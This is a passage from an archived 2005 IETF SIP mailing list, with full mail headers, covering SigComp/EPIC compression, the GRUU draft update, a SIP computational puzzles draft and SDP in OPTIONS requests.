5
draft-camarillo-sipping-exploders-02.txt Please keep in mind that WG meeting time is for resolving open isssues of the WG, not trying to pitch an idea that you didn't get traction for on the mailing list. So the chairs WILL be exercising editorial control on the agenda to see to it that WG priorities are met first. If we have extra time, we MAY entertain additional relevant topics. I'll be assembling a requests list page and draft agenda on the www.softarmor.com site as time permits. Thanks, -- Dean Willis SIP Co-Chair _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 23 22:45:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04378 for ; Wed, 23 Feb 2005 22:45:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4AJB-0007q6-0F for sip-web-archive@ietf.org; Wed, 23 Feb 2005 23:09:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3zyY-0001KC-Jm; Wed, 23 Feb 2005 12:07:02 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3zyT-0001H5-Qo; Wed, 23 Feb 2005 12:07:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12275; Wed, 23 Feb 2005 12:06:49 -0500 (EST) Received: from mgw-x3.nokia.com ([131.228.20.26]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D40L8-0000co-3E; Wed, 23 Feb 2005 12:30:22 -0500 Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158]) by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1NH6bR04711; Wed, 23 Feb 2005 19:06:37 +0200 (EET) X-Scanned: Wed, 23 Feb 2005 19:06:25 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks003.ntc.nokia.com (8.12.9/8.12.9) id j1NH6Pqt031911; Wed, 23 Feb 2005 19:06:25 +0200 Received: from mgw-int1.ntc.nokia.com (172.21.143.96) by esdks003.ntc.nokia.com 0057P9hg; Wed, 23 Feb 2005 19:06:23 EET Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82]) by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1NH6BM10378; Wed, 23 Feb 2005 19:06:11 +0200 (EET) Received: from agni.research.nokia.com ([172.21.50.36]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Wed, 23 Feb 2005 19:06:10 +0200 Received: from agni.research.nokia.com (localhost.localdomain [127.0.0.1]) by agni.research.nokia.com (8.12.11/8.12.11) with ESMTP id j1NH69oQ003973; Wed, 23 Feb 2005 19:06:09 +0200 Received: (from ppessi@localhost) by agni.research.nokia.com (8.12.11/8.12.11/Submit) id j1NH69B0003972; Wed, 23 Feb 2005 19:06:09 +0200 To: "Lars-Erik Jonsson (LU/EAB)" X-face: #V(jdpv[lI!TNUU=2*oh:="#suS*ponXW"yr6G; ~L}uZ\JfD\"IG#G{j`hZI; =DmT\H pfDMyJ`i=:M;BM3R.`[>P^ER8+]i From: Pekka Pessi In-Reply-To: (Lars-Erik Jonsson's message of "Mon, 21 Feb 2005 08:50:13 +0100") References: Date: Tue, 22 Feb 2005 19:49:12 +0200 User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) Lines: 82 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 23 Feb 2005 17:06:10.0754 (UTC) FILETIME=[F90EBA20:01C519C9] X-Spam-Score: 0.4 (/) X-Scan-Signature: b7b9551d71acde901886cc48bfc088a6 Cc: sip@ietf.org, "'Lepine, Jean-Pierre'" , rohc@ietf.org, sipping@ietf.org Subject: [Sip] Re: [rohc] SigComp with EPIC compression for SIP messages X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: f66b12316365a3fe519e75911daf28a8 "Lars-Erik Jonsson (LU/EAB)" writes: >The SigComp user guide did (I am not sure about the new version just >released) refer to EPIC, which is probably a mistake as algorithms are not >specified in that document, and there is no reference available for an EPIC >algorithm. As you can see from the UDVM assembly code (the text also mentions it) the compression algorithm referred as EPIC is just DEFLATE with minor modifications. The UDVM assembly code in section 4.6 (and RFC 1951) is all the specification you need. A message compressed with DEFLATE consists of literals (bytes 0..255, end-of-block) and pairs (length, distance), where length is 3..258 and distance in 1..32768. "EPIC" modifies DEFLATE to use INPUT-HUFFMAN-coding for literals and (length, distance) pairs insted of the normal static huffman codes, as specified in RFC 1951. So, unlike DEFLATE bytecode "EPIC" does not need tables and the literal/length symbols and distance values can be directly decoded with a single INPUT-HUFFMAN instruction each. Another improvement (?) is with the literal/length, it has two different codings, depending whether the last symbol was a literal or length+distance pair. --Pekka >-----Original Message----- >From: rohc-bounces@ietf.org [mailto:rohc-bounces@ietf.org]On Behalf Of Lepine, Jean-Pierre >Sent: den 18 februari 2005 19:18 >To: rohc@ietf.org; sip@ietf.org; sipping@ietf.org >Subject: [rohc] SigComp with EPIC compression for SIP messages >Hi all, >I am currently looking at using SigComp with EPIC compression for >SIP messages. After reading relevant RFCs and Internet drafts, a >few things are not clear to me. >First, I understand that EPIC relies on a profile to compress and >decompress data. The EPIC reference implementation from Roke >Manor Research Ltd provides a profile for RTP. However, I can't >find a profile for SIP. >Is there one out there? >I think I can write one but this would likely be a problem for >interoperability since the decompressor MUST use the same >profile. One solution would be to download the profile to the >other endpoint but this does not look too good to me, partly >because I have a concern about the profile size. Furthermore, I >don't see how I could instruct the other endpoint to use a >downloaded profile (file name and location ?). >Any other option? >Also, in the SigComp User Guide >(draft-ietf-rohc-sigcomp-user-guide-00.txt), section 4.6 is >talking about EPIC and SIP but never mentions the need or >existence of a profile. >Without a profile, how can EPIC be used ? >The mentioned section also shows compression results for three >algorithms, including EPIC. All algorithms employed a static >dictionary and shared compression. >Exactly how the EPIC results were obtained is not clear to me, in >particular how EPIC was used ? >Only the Hierarchical Huffman algorithm ? >EPIC used in conjunction with DEFLATE ? >Did all three algorithms used the static dictionary described in RFC3485 ? >Any help would be really appreciated, Thanks. >_______________________________________________ >Rohc mailing list >Rohc@ietf.org >https://www1.ietf.org/mailman/listinfo/rohc _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 23 23:26:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA18051 for ; Wed, 23 Feb 2005 23:26:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Awi-0003LE-Dq for sip-web-archive@ietf.org; Wed, 23 Feb 2005 23:49:52 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D43Za-0008GJ-Jb; Wed, 23 Feb 2005 15:57:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D43ZV-0008FR-AE; Wed, 23 Feb 2005 15:57:25 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA15711; Wed, 23 Feb 2005 15:57:22 -0500 (EST) Message-Id: <200502232057.PAA15711@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Wed, 23 Feb 2005 15:57:22 -0500 Cc: sip@ietf.org Subject: [Sip] I-D ACTION:draft-ietf-sip-gruu-03.txt X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : Obtaining and Using Globally Routable User Agent (UA) URIs (GRUU) in the Session Initiation Protocol (SIP) Author(s) : J. Rosenberg Filename : draft-ietf-sip-gruu-03.txt Pages : 33 Date : 2005-2-23 Several applications of the Session Initiation Protocol (SIP) require a user agent (UA) to construct and distribute a URI which can be used by anyone on the Internet to route a call to that specific UA instance. A URI which routes to a specific UA instance is called a Globally Routable UA URI (GRUU). This document describes an extension to SIP for obtaining a GRUU from a server, and for communicating a GRUU to a peer within a dialog. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-gruu-03.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-gruu-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-gruu-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-23155932.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-gruu-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-gruu-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-23155932.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --NextPart-- From sip-bounces@ietf.org Thu Feb 24 00:10:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04403 for ; Thu, 24 Feb 2005 00:10:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Bdn-0008GI-3q for sip-web-archive@ietf.org; Thu, 24 Feb 2005 00:34:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3koC-00071k-DR; Tue, 22 Feb 2005 19:55:20 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kfp-0004Uv-9v for sip@megatron.ietf.org; Tue, 22 Feb 2005 19:46:41 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA16655 for ; Tue, 22 Feb 2005 19:46:31 -0500 (EST) Received: from sj-iport-4.cisco.com ([171.68.10.86]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3l2K-00005M-5c for sip@ietf.org; Tue, 22 Feb 2005 20:09:56 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-4.cisco.com with ESMTP; 22 Feb 2005 16:46:25 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from vtg-um-e2k4.sj21ad.cisco.com (vtg-um-e2k4.cisco.com [171.70.93.57]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1N0jwq8002568 for ; Tue, 22 Feb 2005 16:45:58 -0800 (PST) Received: e2k4.cisco.com 171.70.93.57 from 10.32.131.73 10.32.131.73 via HTTP with MS-WebStorage 6.5.6944 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Tue, 22 Feb 2005 16:45:59 -0800 From: Cullen Jennings To: "sip@ietf.org" Message-ID: Mime-version: 1.0 X-Spam-Score: 0.5 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 Subject: [Sip] draft-jennings-sip-hashcash-01 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1796959537==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: c0bedb65cce30976f0bf60a0a39edea4 > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============1796959537== Content-type: multipart/alternative; boundary="B_3191935559_890886" > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --B_3191935559_890886 Content-type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit I updated this draft on "SIP Computational Puzzles" so it has enough detail to implement it. (Previous version did not). It is in the drafts directory and also in HTML form at: http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-hashcash -01.html Cullen --B_3191935559_890886 Content-type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable draft-jennings-sip-hashcash-01
I updated this draft on "SIP Computational Puzzles" so it has eno= ugh detail to implement it. (Previous version did not). It is in the drafts = directory and also in HTML form at:

http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-j= ennings-sip-hashcash-01.html

Cullen
 --B_3191935559_890886-- --===============1796959537== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1796959537==-- From sip-bounces@ietf.org Thu Feb 24 00:57:00 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21395 for ; Thu, 24 Feb 2005 00:57:00 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4CMZ-00052i-3G for sip-web-archive@ietf.org; Thu, 24 Feb 2005 01:20:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3w4l-0006nD-3P; Wed, 23 Feb 2005 07:57:11 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3w4j-0006lz-QC for sip@megatron.ietf.org; Wed, 23 Feb 2005 07:57:09 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07679 for ; Wed, 23 Feb 2005 06:51:26 -0500 (EST) Received: from eagle.ericsson.se ([193.180.251.53]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3vPr-0000Az-3c for sip@ietf.org; Wed, 23 Feb 2005 07:14:56 -0500 Received: from esealmw140.al.sw.ericsson.se ([153.88.254.121]) by eagle.ericsson.se (8.12.10/8.12.10/WIREfire-1.8b) with ESMTP id j1NBpQO6028292 for ; Wed, 23 Feb 2005 12:51:26 +0100 Received: from esealnt612.al.sw.ericsson.se ([153.88.254.118]) by esealmw140.al.sw.ericsson.se with Microsoft SMTPSVC(6.0.3790.211); Wed, 23 Feb 2005 12:52:07 +0100 Received: by esealnt612.al.sw.ericsson.se with Internet Mail Service (5.5.2657.72) id ; Wed, 23 Feb 2005 12:51:26 +0100 Message-ID: From: "Peter Hedman (LD/EAB)" To: sip@ietf.org Subject: [SIP] SDP in OPTIONS Date: Wed, 23 Feb 2005 12:50:42 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-OriginalArrivalTime: 23 Feb 2005 11:52:07.0055 (UTC) FILETIME=[195671F0:01C5199E] X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Hi, 3GPP are discussing capability exchange using SIP OPTIONS. Specifically, to be able to optimise an exchange by including UAC capabilities within the OPTIONS request, for information to those UAS that understand it. The current understanding is that a UAS following RFC 3261 would simply ignore the SDP in the OPTIONS request and normal operations take place. Also, even if the UAS would read the SDP in an OPTIONS request, the SDP in the response would also be a capability document that will not in any way follow the offer/answer model. It would be great to get the groups opinion on the above assumptions. BR, Peter Ericsson AB Phone: +46 46 231760 Mobile: +46 703602149 Mail: peter.hedman@ericsson.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 01:01:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA23194 for ; Thu, 24 Feb 2005 01:01:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4CRI-0005Vp-22 for sip-web-archive@ietf.org; Thu, 24 Feb 2005 01:25:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D40Bj-0003GW-Jo; Wed, 23 Feb 2005 12:20:39 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D40Bh-0003GG-ID for sip@megatron.ietf.org; Wed, 23 Feb 2005 12:20:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14384 for ; Wed, 23 Feb 2005 12:20:26 -0500 (EST) Received: from nylon.softarmor.com ([66.135.38.164]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D40YH-0001D7-Ee for sip@ietf.org; Wed, 23 Feb 2005 12:43:59 -0500 Received: from [192.168.2.101] ([12.5.186.26]) (authenticated bits=0) by nylon.softarmor.com (8.13.1/8.12.11) with ESMTP id j1NHMHoE004132 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Wed, 23 Feb 2005 11:22:17 -0600 In-Reply-To: <002801c517d9$ae97e760$a80c050a@mahindrabt.com> References: <002801c517d9$ae97e760$a80c050a@mahindrabt.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: <89f5ef4e6a04247e16df872c32301267@softarmor.com> Content-Transfer-Encoding: quoted-printable From: Dean Willis Subject: Re: [Sip] TESTING Requirements Date: Wed, 23 Feb 2005 11:20:20 -0600 To: "Akshay Bangalorekar" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 Content-Transfer-Encoding: quoted-printable Cc: SIP DEVELOPEMENT X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8abaac9e10c826e8252866cbe6766464 Content-Transfer-Encoding: quoted-printable On Feb 20, 2005, at 11:53 PM, Akshay Bangalorekar wrote: > =A0=A0=A0 Hi Guys > =A0 > I am a newbee in this area of protocol testing, I am developing a SIP=20= > application. So wanted to know the requirements in detail for testing=20= > the SIP application. > =A0 > Looking forward to get some help, thanking in anticipation > I recommend prayer, fortitude, vigilance, and a great toleration for=20 ambiguity. And followups to the sip-implementors list: mailto:sip-implementors@cs.columbia.edu and I also believe that SIP Forum is working on some testing guidelines: http://www.sipforum.org/ -- Dean _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 01:03:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA23812 for ; Thu, 24 Feb 2005 01:03:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4CT3-0005hv-U2 for sip-web-archive@ietf.org; Thu, 24 Feb 2005 01:27:22 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4BJ2-0002y6-VD; Thu, 24 Feb 2005 00:12:56 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4BJ0-0002vS-ME for sip@megatron.ietf.org; Thu, 24 Feb 2005 00:12:54 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05206 for ; Thu, 24 Feb 2005 00:12:51 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Bfp-0008UQ-Rd for sip@ietf.org; Thu, 24 Feb 2005 00:36:30 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-5.cisco.com with ESMTP; 23 Feb 2005 21:14:14 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,111,1107763200"; d="scan'208"; a="162985162:sNHT21599496" Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j1O5C5YO016699 for ; Wed, 23 Feb 2005 21:12:05 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-1-126.cisco.com [10.86.240.126]) by mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHZ55916; Wed, 23 Feb 2005 21:12:04 -0800 (PST) Message-ID: <421D6223.5050607@cisco.com> Date: Thu, 24 Feb 2005 00:12:03 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 Content-Transfer-Encoding: 7bit Subject: [Sip] updated GRUU spec X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 057ebe9b96adec30a7efb2aeda4c26a4 Content-Transfer-Encoding: 7bit Folks, I posted an updated version of the GRUU spec, which just popped out: http://www.ietf.org/internet-drafts/draft-ietf-sip-gruu-03.txt In the end, I did NOT change the fundamental mechanism per our discussions on the list; its still based on getting the gruu in the register response. There were lots of other text changes to improve clarity and make it simpler. The biggest changes were that the server will now overwrite the registration from a particular instance when a new one arrives. I've also punted on the issue we've been debating the last two meetings, on whether multiple contacts from a single instance can be registered. Here are the detailed changes: * instance parameter has to be a URN * equality rules for instance ID are now equal to the function rules for that URN scheme, else lexical URN rules if the scheme is unknown. Mentioned that this is unliekly to be a problem, and that clients should just use the same instance ID in all registrations * rewrote introduction to do a much better job at motivating why you should care about this draft * added back the GRUU property of long-livedness, but comment that this property cannot be guaranteed * clarified that gruus are resolved using normal rfc3263 procedures * substantial rewrite of the normative behaviors in order to simplify the explanation, including an updated simpler UML model. * previously, behavior was not specified when a contact expired. That is now specified - its binding to both the AOR and GRUU are removed * previously, if a Contact with an instance ID arrived and there already was a contact with that instance ID registered, an error response is returned. Now, the new contact replaces the previous one. The 425 response code is therefore no longer needed, and has been removed. * SIP/SIPS handling is now specified - both a SIP and SIPS version of a GRUU have to exist. The scheme used for the GRUU in the register response is equal to that of the To in the REGISTER request. Little else is said about sips processing; it should work equally to a sips AOR (which is admittedly underspecified in RFC3261, but its not GRUU's problem to fix that) * clarified proxy processing by showing exactly how the processes of section 16 in rfc3261 are affected - its just a different abstract locatoin service * note that Path (rfc3327) processing applies to GRUU as well * sustantial text added to discuss the interactions with record-routing and how to avoid the spiral that can ensue if you are not careful * clarify that if the contact in a register had a grid for some reason (not a good idea), it would be overwritten with the grid value in a gruu that is translated to that contact * during discussions in the last few meetings, it was proposed that multiple contacts of the same instance be allowed to register for a gruu. This is useful only for supporting high availability in clients. However, the requirements do not include such a capability. As such, I went with the simpler approach as currently documented, with a single contact for each instance. The high availability work will require us to rethink the registration data model more seriously, and should be relegated to a different spec that can modify gruu processing if needed. draft-jennings-sipping-outbound seems the right forum for that * updated example based on new rules for conflict resolutions * removed IANA registration for response code * the conflict resoltuion algorithm provides a neat way to remove any contact with a specific instance ID; the equivalent of * but targeted to a specific instance ID, and this is documented * tried to clean up terminology, since "contact" and its variants are used all over the place with different meaning Thanks, Jonathan R. -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 24 01:59:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA14489 for ; Thu, 24 Feb 2005 01:59:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4DLQ-0003dL-DN for sip-web-archive@ietf.org; Thu, 24 Feb 2005 02:23:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4BNg-0006SO-LJ; Thu, 24 Feb 2005 00:17:44 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D4BNc-0006RJ-Kk for sip@megatron.ietf.org; Thu, 24 Feb 2005 00:17:40 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA07179 for ; Thu, 24 Feb 2005 00:17:37 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4BkS-0000dQ-0F for sip@ietf.org; Thu, 24 Feb 2005 00:41:16 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-5.cisco.com with ESMTP; 23 Feb 2005 21:19:38 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,111,1107763200"; d="scan'208"; a="162987123:sNHT269086534" Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j1O5HSYO017769 for ; Wed, 23 Feb 2005 21:17:29 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-1-126.cisco.com [10.86.240.126]) by 